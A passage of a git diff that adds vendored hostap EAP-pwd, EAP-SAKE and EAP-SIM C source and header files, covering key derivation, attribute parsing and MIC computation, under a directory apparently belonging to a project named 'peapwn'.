eap_pwd_h_update(hash, password, password_len); + eap_pwd_h_update(hash, &ctr, sizeof(ctr)); + eap_pwd_h_final(hash, pwe_digest); + + BN_bin2bn(pwe_digest, SHA256_MAC_LEN, rnd); + + if (eap_pwd_kdf(pwe_digest, SHA256_MAC_LEN, + (u8 *) "EAP-pwd Hunting And Pecking", + os_strlen("EAP-pwd Hunting And Pecking"), + prfbuf, primebitlen) < 0) + goto fail; + + BN_bin2bn(prfbuf, primebytelen, x_candidate); + + /* + * eap_pwd_kdf() returns a string of bits 0..primebitlen but + * BN_bin2bn will treat that string of bits as a big endian + * number. If the primebitlen is not an even multiple of 8 + * then excessive bits-- those _after_ primebitlen-- so now + * we have to shift right the amount we masked off. + */ + if (primebitlen % 8) + BN_rshift(x_candidate, x_candidate, + (8 - (primebitlen % 8))); + + if (BN_ucmp(x_candidate, grp->prime) >= 0) + continue; + + wpa_hexdump(MSG_DEBUG, "EAP-pwd: x_candidate", + prfbuf, primebytelen); + + /* + * need to unambiguously identify the solution, if there is + * one... + */ + if (BN_is_odd(rnd)) + is_odd = 1; + else + is_odd = 0; + + /* + * solve the quadratic equation, if it's not solvable then we + * don't have a point + */ + if (!EC_POINT_set_compressed_coordinates_GFp(grp->group, + grp->pwe, + x_candidate, + is_odd, NULL)) + continue; + /* + * If there's a solution to the equation then the point must be + * on the curve so why check again explicitly? OpenSSL code + * says this is required by X9.62. We're not X9.62 but it can't + * hurt just to be sure. + */ + if (!EC_POINT_is_on_curve(grp->group, grp->pwe, NULL)) { + wpa_printf(MSG_INFO, "EAP-pwd: point is not on curve"); + continue; + } + + if (BN_cmp(cofactor, BN_value_one())) { + /* make sure the point is not in a small sub-group */ + if (!EC_POINT_mul(grp->group, grp->pwe, NULL, grp->pwe, + cofactor, NULL)) { + wpa_printf(MSG_INFO, "EAP-pwd: cannot " + "multiply generator by order"); + continue; + } + if (EC_POINT_is_at_infinity(grp->group, grp->pwe)) { + wpa_printf(MSG_INFO, "EAP-pwd: point is at " + "infinity"); + continue; + } + } + /* if we got here then we have a new generator. */ + break; + } + wpa_printf(MSG_DEBUG, "EAP-pwd: found a PWE in %d tries", ctr); + grp->group_num = num; + if (0) { + fail: + EC_GROUP_free(grp->group); + grp->group = NULL; + EC_POINT_free(grp->pwe); + grp->pwe = NULL; + BN_free(grp->order); + grp->order = NULL; + BN_free(grp->prime); + grp->prime = NULL; + ret = 1; + } + /* cleanliness and order.... */ + BN_free(cofactor); + BN_free(x_candidate); + BN_free(rnd); + os_free(prfbuf); + + return ret; +} + + +int compute_keys(EAP_PWD_group *grp, BN_CTX *bnctx, BIGNUM *k, + BIGNUM *peer_scalar, BIGNUM *server_scalar, + u8 *confirm_peer, u8 *confirm_server, + u32 *ciphersuite, u8 *msk, u8 *emsk) +{ + struct crypto_hash *hash; + u8 mk[SHA256_MAC_LEN], *cruft; + u8 session_id[SHA256_MAC_LEN + 1]; + u8 msk_emsk[EAP_MSK_LEN + EAP_EMSK_LEN]; + int offset; + + if ((cruft = os_malloc(BN_num_bytes(grp->prime))) == NULL) + return -1; + + /* + * first compute the session-id = TypeCode | H(ciphersuite | scal_p | + * scal_s) + */ + session_id[0] = EAP_TYPE_PWD; + hash = eap_pwd_h_init(); + if (hash == NULL) { + os_free(cruft); + return -1; + } + eap_pwd_h_update(hash, (u8 *) ciphersuite, sizeof(u32)); + offset = BN_num_bytes(grp->order) - BN_num_bytes(peer_scalar); + os_memset(cruft, 0, BN_num_bytes(grp->prime)); + BN_bn2bin(peer_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(grp->order)); + offset = BN_num_bytes(grp->order) - BN_num_bytes(server_scalar); + os_memset(cruft, 0, BN_num_bytes(grp->prime)); + BN_bn2bin(server_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(grp->order)); + eap_pwd_h_final(hash, &session_id[1]); + + /* then compute MK = H(k | confirm-peer | confirm-server) */ + hash = eap_pwd_h_init(); + if (hash == NULL) { + os_free(cruft); + return -1; + } + offset = BN_num_bytes(grp->prime) - BN_num_bytes(k); + os_memset(cruft, 0, BN_num_bytes(grp->prime)); + BN_bn2bin(k, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(grp->prime)); + os_free(cruft); + eap_pwd_h_update(hash, confirm_peer, SHA256_MAC_LEN); + eap_pwd_h_update(hash, confirm_server, SHA256_MAC_LEN); + eap_pwd_h_final(hash, mk); + + /* stretch the mk with the session-id to get MSK | EMSK */ + if (eap_pwd_kdf(mk, SHA256_MAC_LEN, + session_id, SHA256_MAC_LEN + 1, + msk_emsk, (EAP_MSK_LEN + EAP_EMSK_LEN) * 8) < 0) { + return -1; + } + + os_memcpy(msk, msk_emsk, EAP_MSK_LEN); + os_memcpy(emsk, msk_emsk + EAP_MSK_LEN, EAP_EMSK_LEN); + + return 1; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_pwd_common.h b/peapwn/mods/hostap/src/eap_common/eap_pwd_common.h new file mode 100644 index 000000000..816e58ccb --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_pwd_common.h @@ -0,0 +1,67 @@ +/* + * EAP server/peer: EAP-pwd shared definitions + * Copyright (c) 2009, Dan Harkins + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_PWD_COMMON_H +#define EAP_PWD_COMMON_H + +#include +#include +#include + +/* + * definition of a finite cyclic group + * TODO: support one based on a prime field + */ +typedef struct group_definition_ { + u16 group_num; + EC_GROUP *group; + EC_POINT *pwe; + BIGNUM *order; + BIGNUM *prime; +} EAP_PWD_group; + +/* + * EAP-pwd header, included on all payloads + * L(1 bit) | M(1 bit) | exch(6 bits) | total_length(if L is set) + */ +#define EAP_PWD_HDR_SIZE 1 + +#define EAP_PWD_OPCODE_ID_EXCH 1 +#define EAP_PWD_OPCODE_COMMIT_EXCH 2 +#define EAP_PWD_OPCODE_CONFIRM_EXCH 3 +#define EAP_PWD_GET_LENGTH_BIT(x) ((x) & 0x80) +#define EAP_PWD_SET_LENGTH_BIT(x) ((x) |= 0x80) +#define EAP_PWD_GET_MORE_BIT(x) ((x) & 0x40) +#define EAP_PWD_SET_MORE_BIT(x) ((x) |= 0x40) +#define EAP_PWD_GET_EXCHANGE(x) ((x) & 0x3f) +#define EAP_PWD_SET_EXCHANGE(x,y) ((x) |= (y)) + +/* EAP-pwd-ID payload */ +struct eap_pwd_id { + be16 group_num; + u8 random_function; +#define EAP_PWD_DEFAULT_RAND_FUNC 1 + u8 prf; +#define EAP_PWD_DEFAULT_PRF 1 + u8 token[4]; + u8 prep; +#define EAP_PWD_PREP_NONE 0 +#define EAP_PWD_PREP_MS 1 + u8 identity[0]; /* length inferred from payload */ +} STRUCT_PACKED; + +/* common routines */ +int compute_password_element(EAP_PWD_group *, u16, u8 *, int, u8 *, int, u8 *, + int, u8 *); +int compute_keys(EAP_PWD_group *, BN_CTX *, BIGNUM *, BIGNUM *, BIGNUM *, + u8 *, u8 *, u32 *, u8 *, u8 *); +struct crypto_hash * eap_pwd_h_init(void); +void eap_pwd_h_update(struct crypto_hash *hash, const u8 *data, size_t len); +void eap_pwd_h_final(struct crypto_hash *hash, u8 *digest); + +#endif /* EAP_PWD_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_sake_common.c b/peapwn/mods/hostap/src/eap_common/eap_sake_common.c new file mode 100644 index 000000000..a76253d00 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_sake_common.c @@ -0,0 +1,387 @@ +/* + * EAP server/peer: EAP-SAKE shared routines + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "wpabuf.h" +#include "crypto/sha1.h" +#include "eap_defs.h" +#include "eap_sake_common.h" + + +static int eap_sake_parse_add_attr(struct eap_sake_parse_attr *attr, + const u8 *pos) +{ + size_t i; + + switch (pos[0]) { + case EAP_SAKE_AT_RAND_S: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_RAND_S"); + if (pos[1] != 2 + EAP_SAKE_RAND_LEN) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: AT_RAND_S with " + "invalid length %d", pos[1]); + return -1; + } + attr->rand_s = pos + 2; + break; + case EAP_SAKE_AT_RAND_P: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_RAND_P"); + if (pos[1] != 2 + EAP_SAKE_RAND_LEN) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: AT_RAND_P with " + "invalid length %d", pos[1]); + return -1; + } + attr->rand_p = pos + 2; + break; + case EAP_SAKE_AT_MIC_S: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_MIC_S"); + if (pos[1] != 2 + EAP_SAKE_MIC_LEN) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: AT_MIC_S with " + "invalid length %d", pos[1]); + return -1; + } + attr->mic_s = pos + 2; + break; + case EAP_SAKE_AT_MIC_P: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_MIC_P"); + if (pos[1] != 2 + EAP_SAKE_MIC_LEN) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: AT_MIC_P with " + "invalid length %d", pos[1]); + return -1; + } + attr->mic_p = pos + 2; + break; + case EAP_SAKE_AT_SERVERID: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_SERVERID"); + attr->serverid = pos + 2; + attr->serverid_len = pos[1] - 2; + break; + case EAP_SAKE_AT_PEERID: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_PEERID"); + attr->peerid = pos + 2; + attr->peerid_len = pos[1] - 2; + break; + case EAP_SAKE_AT_SPI_S: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_SPI_S"); + attr->spi_s = pos + 2; + attr->spi_s_len = pos[1] - 2; + break; + case EAP_SAKE_AT_SPI_P: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_SPI_P"); + attr->spi_p = pos + 2; + attr->spi_p_len = pos[1] - 2; + break; + case EAP_SAKE_AT_ANY_ID_REQ: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_ANY_ID_REQ"); + if (pos[1] != 4) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: Invalid AT_ANY_ID_REQ" + " length %d", pos[1]); + return -1; + } + attr->any_id_req = pos + 2; + break; + case EAP_SAKE_AT_PERM_ID_REQ: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_PERM_ID_REQ"); + if (pos[1] != 4) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: Invalid " + "AT_PERM_ID_REQ length %d", pos[1]); + return -1; + } + attr->perm_id_req = pos + 2; + break; + case EAP_SAKE_AT_ENCR_DATA: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_ENCR_DATA"); + attr->encr_data = pos + 2; + attr->encr_data_len = pos[1] - 2; + break; + case EAP_SAKE_AT_IV: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_IV"); + attr->iv = pos + 2; + attr->iv_len = pos[1] - 2; + break; + case EAP_SAKE_AT_PADDING: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_PADDING"); + for (i = 2; i < pos[1]; i++) { + if (pos[i]) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: AT_PADDING " + "with non-zero pad byte"); + return -1; + } + } + break; + case EAP_SAKE_AT_NEXT_TMPID: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_NEXT_TMPID"); + attr->next_tmpid = pos + 2; + attr->next_tmpid_len = pos[1] - 2; + break; + case EAP_SAKE_AT_MSK_LIFE: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Parse: AT_IV"); + if (pos[1] != 6) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: Invalid " + "AT_MSK_LIFE length %d", pos[1]); + return -1; + } + attr->msk_life = pos + 2; + break; + default: + if (pos[0] < 128) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: Unknown non-skippable" + " attribute %d", pos[0]); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-SAKE: Ignoring unknown skippable " + "attribute %d", pos[0]); + break; + } + + if (attr->iv && !attr->encr_data) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: AT_IV included without " + "AT_ENCR_DATA"); + return -1; + } + + return 0; +} + + +/** + * eap_sake_parse_attributes - Parse EAP-SAKE attributes + * @buf: Packet payload (starting with the first attribute) + * @len: Payload length + * @attr: Structure to be filled with found attributes + * Returns: 0 on success or -1 on failure + */ +int eap_sake_parse_attributes(const u8 *buf, size_t len, + struct eap_sake_parse_attr *attr) +{ + const u8 *pos = buf, *end = buf + len; + + os_memset(attr, 0, sizeof(*attr)); + while (pos < end) { + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: Too short attribute"); + return -1; + } + + if (pos[1] < 2) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: Invalid attribute " + "length (%d)", pos[1]); + return -1; + } + + if (pos + pos[1] > end) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: Attribute underflow"); + return -1; + } + + if (eap_sake_parse_add_attr(attr, pos)) + return -1; + + pos += pos[1]; + } + + return 0; +} + + +/** + * eap_sake_kdf - EAP-SAKE Key Derivation Function (KDF) + * @key: Key for KDF + * @key_len: Length of the key in bytes + * @label: A unique label for each purpose of the KDF + * @data: Extra data (start) to bind into the key + * @data_len: Length of the data + * @data2: Extra data (end) to bind into the key + * @data2_len: Length of the data2 + * @buf: Buffer for the generated pseudo-random key + * @buf_len: Number of bytes of key to generate + * + * This function is used to derive new, cryptographically separate keys from a + * given key (e.g., SMS). This is identical to the PRF used in IEEE 802.11i. + */ +static void eap_sake_kdf(const u8 *key, size_t key_len, const char *label, + const u8 *data, size_t data_len, + const u8 *data2, size_t data2_len, + u8 *buf, size_t buf_len) +{ + u8 counter = 0; + size_t pos, plen; + u8 hash[SHA1_MAC_LEN]; + size_t label_len = os_strlen(label) + 1; + const unsigned char *addr[4]; + size_t len[4]; + + addr[0] = (u8 *) label; /* Label | Y */ + len[0] = label_len; + addr[1] = data; /* Msg[start] */ + len[1] = data_len; + addr[2] = data2; /* Msg[end] */ + len[2] = data2_len; + addr[3] = &counter; /* Length */ + len[3] = 1; + + pos = 0; + while (pos < buf_len) { + plen = buf_len - pos; + if (plen >= SHA1_MAC_LEN) { + hmac_sha1_vector(key, key_len, 4, addr, len, + &buf[pos]); + pos += SHA1_MAC_LEN; + } else { + hmac_sha1_vector(key, key_len, 4, addr, len, + hash); + os_memcpy(&buf[pos], hash, plen); + break; + } + counter++; + } +} + + +/** + * eap_sake_derive_keys - Derive EAP-SAKE keys + * @root_secret_a: 16-byte Root-Secret-A + * @root_secret_b: 16-byte Root-Secret-B + * @rand_s: 16-byte RAND_S + * @rand_p: 16-byte RAND_P + * @tek: Buffer for Temporary EAK Keys (TEK-Auth[16] | TEK-Cipher[16]) + * @msk: Buffer for 64-byte MSK + * @emsk: Buffer for 64-byte EMSK + * + * This function derives EAP-SAKE keys as defined in RFC 4763, section 3.2.6. + */ +void eap_sake_derive_keys(const u8 *root_secret_a, const u8 *root_secret_b, + const u8 *rand_s, const u8 *rand_p, u8 *tek, u8 *msk, + u8 *emsk) +{ + u8 sms_a[EAP_SAKE_SMS_LEN]; + u8 sms_b[EAP_SAKE_SMS_LEN]; + u8 key_buf[EAP_MSK_LEN + EAP_EMSK_LEN]; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Deriving keys"); + + wpa_hexdump_key(MSG_DEBUG, "EAP-SAKE: Root-Secret-A", + root_secret_a, EAP_SAKE_ROOT_SECRET_LEN); + eap_sake_kdf(root_secret_a, EAP_SAKE_ROOT_SECRET_LEN, + "SAKE Master Secret A", + rand_p, EAP_SAKE_RAND_LEN, rand_s, EAP_SAKE_RAND_LEN, + sms_a, EAP_SAKE_SMS_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SAKE: SMS-A", sms_a, EAP_SAKE_SMS_LEN); + eap_sake_kdf(sms_a, EAP_SAKE_SMS_LEN, "Transient EAP Key", + rand_s, EAP_SAKE_RAND_LEN, rand_p, EAP_SAKE_RAND_LEN, + tek, EAP_SAKE_TEK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SAKE: TEK-Auth", + tek, EAP_SAKE_TEK_AUTH_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SAKE: TEK-Cipher", + tek + EAP_SAKE_TEK_AUTH_LEN, EAP_SAKE_TEK_CIPHER_LEN); + + wpa_hexdump_key(MSG_DEBUG, "EAP-SAKE: Root-Secret-B", + root_secret_b, EAP_SAKE_ROOT_SECRET_LEN); + eap_sake_kdf(root_secret_b, EAP_SAKE_ROOT_SECRET_LEN, + "SAKE Master Secret B", + rand_p, EAP_SAKE_RAND_LEN, rand_s, EAP_SAKE_RAND_LEN, + sms_b, EAP_SAKE_SMS_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SAKE: SMS-B", sms_b, EAP_SAKE_SMS_LEN); + eap_sake_kdf(sms_b, EAP_SAKE_SMS_LEN, "Master Session Key", + rand_s, EAP_SAKE_RAND_LEN, rand_p, EAP_SAKE_RAND_LEN, + key_buf, sizeof(key_buf)); + os_memcpy(msk, key_buf, EAP_MSK_LEN); + os_memcpy(emsk, key_buf + EAP_MSK_LEN, EAP_EMSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SAKE: MSK", msk, EAP_MSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SAKE: EMSK", emsk, EAP_EMSK_LEN); +} + + +/** + * eap_sake_compute_mic - Compute EAP-SAKE MIC for an EAP packet + * @tek_auth: 16-byte TEK-Auth + * @rand_s: 16-byte RAND_S + * @rand_p: 16-byte RAND_P + * @serverid: SERVERID + * @serverid_len: SERVERID length + * @peerid: PEERID + * @peerid_len: PEERID length + * @peer: MIC calculation for 0 = Server, 1 = Peer message + * @eap: EAP packet + * @eap_len: EAP packet length + * @mic_pos: MIC position in the EAP packet (must be [eap .. eap + eap_len]) + * @mic: Buffer for the computed 16-byte MIC + */ +int eap_sake_compute_mic(const u8 *tek_auth, + const u8 *rand_s, const u8 *rand_p, + const u8 *serverid, size_t serverid_len, + const u8 *peerid, size_t peerid_len, + int peer, const u8 *eap, size_t eap_len, + const u8 *mic_pos, u8 *mic) +{ + u8 _rand[2 * EAP_SAKE_RAND_LEN]; + u8 *tmp, *pos; + size_t tmplen; + + tmplen = serverid_len + 1 + peerid_len + 1 + eap_len; + tmp = os_malloc(tmplen); + if (tmp == NULL) + return -1; + pos = tmp; + if (peer) { + if (peerid) { + os_memcpy(pos, peerid, peerid_len); + pos += peerid_len; + } + *pos++ = 0x00; + if (serverid) { + os_memcpy(pos, serverid, serverid_len); + pos += serverid_len; + } + *pos++ = 0x00; + + os_memcpy(_rand, rand_s, EAP_SAKE_RAND_LEN); + os_memcpy(_rand + EAP_SAKE_RAND_LEN, rand_p, + EAP_SAKE_RAND_LEN); + } else { + if (serverid) { + os_memcpy(pos, serverid, serverid_len); + pos += serverid_len; + } + *pos++ = 0x00; + if (peerid) { + os_memcpy(pos, peerid, peerid_len); + pos += peerid_len; + } + *pos++ = 0x00; + + os_memcpy(_rand, rand_p, EAP_SAKE_RAND_LEN); + os_memcpy(_rand + EAP_SAKE_RAND_LEN, rand_s, + EAP_SAKE_RAND_LEN); + } + + os_memcpy(pos, eap, eap_len); + os_memset(pos + (mic_pos - eap), 0, EAP_SAKE_MIC_LEN); + + eap_sake_kdf(tek_auth, EAP_SAKE_TEK_AUTH_LEN, + peer ? "Peer MIC" : "Server MIC", + _rand, 2 * EAP_SAKE_RAND_LEN, tmp, tmplen, + mic, EAP_SAKE_MIC_LEN); + + os_free(tmp); + + return 0; +} + + +void eap_sake_add_attr(struct wpabuf *buf, u8 type, const u8 *data, + size_t len) +{ + wpabuf_put_u8(buf, type); + wpabuf_put_u8(buf, 2 + len); /* Length; including attr header */ + if (data) + wpabuf_put_data(buf, data, len); + else + os_memset(wpabuf_put(buf, len), 0, len); +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_sake_common.h b/peapwn/mods/hostap/src/eap_common/eap_sake_common.h new file mode 100644 index 000000000..9e1e75745 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_sake_common.h @@ -0,0 +1,96 @@ +/* + * EAP server/peer: EAP-SAKE shared routines + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_SAKE_COMMON_H +#define EAP_SAKE_COMMON_H + +#define EAP_SAKE_VERSION 2 + +#define EAP_SAKE_SUBTYPE_CHALLENGE 1 +#define EAP_SAKE_SUBTYPE_CONFIRM 2 +#define EAP_SAKE_SUBTYPE_AUTH_REJECT 3 +#define EAP_SAKE_SUBTYPE_IDENTITY 4 + +#define EAP_SAKE_AT_RAND_S 1 +#define EAP_SAKE_AT_RAND_P 2 +#define EAP_SAKE_AT_MIC_S 3 +#define EAP_SAKE_AT_MIC_P 4 +#define EAP_SAKE_AT_SERVERID 5 +#define EAP_SAKE_AT_PEERID 6 +#define EAP_SAKE_AT_SPI_S 7 +#define EAP_SAKE_AT_SPI_P 8 +#define EAP_SAKE_AT_ANY_ID_REQ 9 +#define EAP_SAKE_AT_PERM_ID_REQ 10 +#define EAP_SAKE_AT_ENCR_DATA 128 +#define EAP_SAKE_AT_IV 129 +#define EAP_SAKE_AT_PADDING 130 +#define EAP_SAKE_AT_NEXT_TMPID 131 +#define EAP_SAKE_AT_MSK_LIFE 132 + +#define EAP_SAKE_RAND_LEN 16 +#define EAP_SAKE_MIC_LEN 16 +#define EAP_SAKE_ROOT_SECRET_LEN 16 +#define EAP_SAKE_SMS_LEN 16 +#define EAP_SAKE_TEK_AUTH_LEN 16 +#define EAP_SAKE_TEK_CIPHER_LEN 16 +#define EAP_SAKE_TEK_LEN (EAP_SAKE_TEK_AUTH_LEN + EAP_SAKE_TEK_CIPHER_LEN) + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct eap_sake_hdr { + u8 version; /* EAP_SAKE_VERSION */ + u8 session_id; + u8 subtype; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + + +struct eap_sake_parse_attr { + const u8 *rand_s; + const u8 *rand_p; + const u8 *mic_s; + const u8 *mic_p; + const u8 *serverid; + size_t serverid_len; + const u8 *peerid; + size_t peerid_len; + const u8 *spi_s; + size_t spi_s_len; + const u8 *spi_p; + size_t spi_p_len; + const u8 *any_id_req; + const u8 *perm_id_req; + const u8 *encr_data; + size_t encr_data_len; + const u8 *iv; + size_t iv_len; + const u8 *next_tmpid; + size_t next_tmpid_len; + const u8 *msk_life; +}; + +int eap_sake_parse_attributes(const u8 *buf, size_t len, + struct eap_sake_parse_attr *attr); +void eap_sake_derive_keys(const u8 *root_secret_a, const u8 *root_secret_b, + const u8 *rand_s, const u8 *rand_p, + u8 *tek, u8 *msk, u8 *emsk); +int eap_sake_compute_mic(const u8 *tek_auth, + const u8 *rand_s, const u8 *rand_p, + const u8 *serverid, size_t serverid_len, + const u8 *peerid, size_t peerid_len, + int peer, const u8 *eap, size_t eap_len, + const u8 *mic_pos, u8 *mic); +void eap_sake_add_attr(struct wpabuf *buf, u8 type, const u8 *data, + size_t len); + +#endif /* EAP_SAKE_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_sim_common.c b/peapwn/mods/hostap/src/eap_common/eap_sim_common.c new file mode 100644 index 000000000..e1773bf1a --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_sim_common.c @@ -0,0 +1,1209 @@ +/* + * EAP peer/server: EAP-SIM/AKA/AKA' shared routines + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "wpabuf.h" +#include "crypto/aes_wrap.h" +#include "crypto/crypto.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/random.h" +#include "eap_common/eap_defs.h" +#include "eap_common/eap_sim_common.h" + + +static int eap_sim_prf(const u8 *key, u8 *x, size_t xlen) +{ + return fips186_2_prf(key, EAP_SIM_MK_LEN, x, xlen); +} + + +void eap_sim_derive_mk(const u8 *identity, size_t identity_len, + const u8 *nonce_mt, u16 selected_version, + const u8 *ver_list, size_t ver_list_len, + int num_chal, const u8 *kc, u8 *mk) +{ + u8 sel_ver[2]; + const unsigned char *addr[5]; + size_t len[5]; + + addr[0] = identity; + len[0] = identity_len; + addr[1] = kc; + len[1] = num_chal * EAP_SIM_KC_LEN; + addr[2] = nonce_mt; + len[2] = EAP_SIM_NONCE_MT_LEN; + addr[3] = ver_list; + len[3] = ver_list_len; + addr[4] = sel_ver; + len[4] = 2; + + WPA_PUT_BE16(sel_ver, selected_version); + + /* MK = SHA1(Identity|n*Kc|NONCE_MT|Version List|Selected Version) */ + sha1_vector(5, addr, len, mk); + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: MK", mk, EAP_SIM_MK_LEN); +} + + +void eap_aka_derive_mk(const u8 *identity, size_t identity_len, + const u8 *ik, const u8 *ck, u8 *mk) +{ + const u8 *addr[3]; + size_t len[3]; + + addr[0] = identity; + len[0] = identity_len; + addr[1] = ik; + len[1] = EAP_AKA_IK_LEN; + addr[2] = ck; + len[2] = EAP_AKA_CK_LEN; + + /* MK = SHA1(Identity|IK|CK) */ + sha1_vector(3, addr, len, mk); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA: IK", ik, EAP_AKA_IK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA: CK", ck, EAP_AKA_CK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA: MK", mk, EAP_SIM_MK_LEN); +} + + +int eap_sim_derive_keys(const u8 *mk, u8 *k_encr, u8 *k_aut, u8 *msk, u8 *emsk) +{ + u8 buf[EAP_SIM_K_ENCR_LEN + EAP_SIM_K_AUT_LEN + + EAP_SIM_KEYING_DATA_LEN + EAP_EMSK_LEN], *pos; + if (eap_sim_prf(mk, buf, sizeof(buf)) < 0) { + wpa_printf(MSG_ERROR, "EAP-SIM: Failed to derive keys"); + return -1; + } + pos = buf; + os_memcpy(k_encr, pos, EAP_SIM_K_ENCR_LEN); + pos += EAP_SIM_K_ENCR_LEN; + os_memcpy(k_aut, pos, EAP_SIM_K_AUT_LEN); + pos += EAP_SIM_K_AUT_LEN; + os_memcpy(msk, pos, EAP_SIM_KEYING_DATA_LEN); + pos += EAP_SIM_KEYING_DATA_LEN; + os_memcpy(emsk, pos, EAP_EMSK_LEN); + + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: K_encr", + k_encr, EAP_SIM_K_ENCR_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: K_aut", + k_aut, EAP_SIM_K_AUT_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: keying material (MSK)", + msk, EAP_SIM_KEYING_DATA_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: EMSK", emsk, EAP_EMSK_LEN); + os_memset(buf, 0, sizeof(buf)); + + return 0; +} + + +int eap_sim_derive_keys_reauth(u16 _counter, + const u8 *identity, size_t identity_len, + const u8 *nonce_s, const u8 *mk, u8 *msk, + u8 *emsk) +{ + u8 xkey[SHA1_MAC_LEN]; + u8 buf[EAP_SIM_KEYING_DATA_LEN + EAP_EMSK_LEN + 32]; + u8 counter[2]; + const u8 *addr[4]; + size_t len[4]; + + while (identity_len > 0 && identity[identity_len - 1] == 0) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Workaround - drop null " + "character from the end of identity"); + identity_len--; + } + addr[0] = identity; + len[0] = identity_len; + addr[1] = counter; + len[1] = 2; + addr[2] = nonce_s; + len[2] = EAP_SIM_NONCE_S_LEN; + addr[3] = mk; + len[3] = EAP_SIM_MK_LEN; + + WPA_PUT_BE16(counter, _counter); + + wpa_printf(MSG_DEBUG, "EAP-SIM: Deriving keying data from reauth"); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-SIM: Identity", + identity, identity_len); + wpa_hexdump(MSG_DEBUG, "EAP-SIM: counter", counter, 2); + wpa_hexdump(MSG_DEBUG, "EAP-SIM: NONCE_S", nonce_s, + EAP_SIM_NONCE_S_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: MK", mk, EAP_SIM_MK_LEN); + + /* XKEY' = SHA1(Identity|counter|NONCE_S|MK) */ + sha1_vector(4, addr, len, xkey); + wpa_hexdump(MSG_DEBUG, "EAP-SIM: XKEY'", xkey, SHA1_MAC_LEN); + + if (eap_sim_prf(xkey, buf, sizeof(buf)) < 0) { + wpa_printf(MSG_ERROR, "EAP-SIM: Failed to derive keys"); + return -1; + } + if (msk) { + os_memcpy(msk, buf, EAP_SIM_KEYING_DATA_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-SIM: keying material (MSK)", + msk, EAP_SIM_KEYING_DATA_LEN); + } + if (emsk) { + os_memcpy(emsk, buf + EAP_SIM_KEYING_DATA_LEN, EAP_EMSK_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-SIM: EMSK", emsk, EAP_EMSK_LEN); + } + os_memset(buf, 0, sizeof(buf)); + + return 0; +} + + +int eap_sim_verify_mac(const u8 *k_aut, const struct wpabuf *req, + const u8 *mac, const u8 *extra, size_t extra_len) +{ + unsigned char hmac[SHA1_MAC_LEN]; + const u8 *addr[2]; + size_t len[2]; + u8 *tmp; + + if (mac 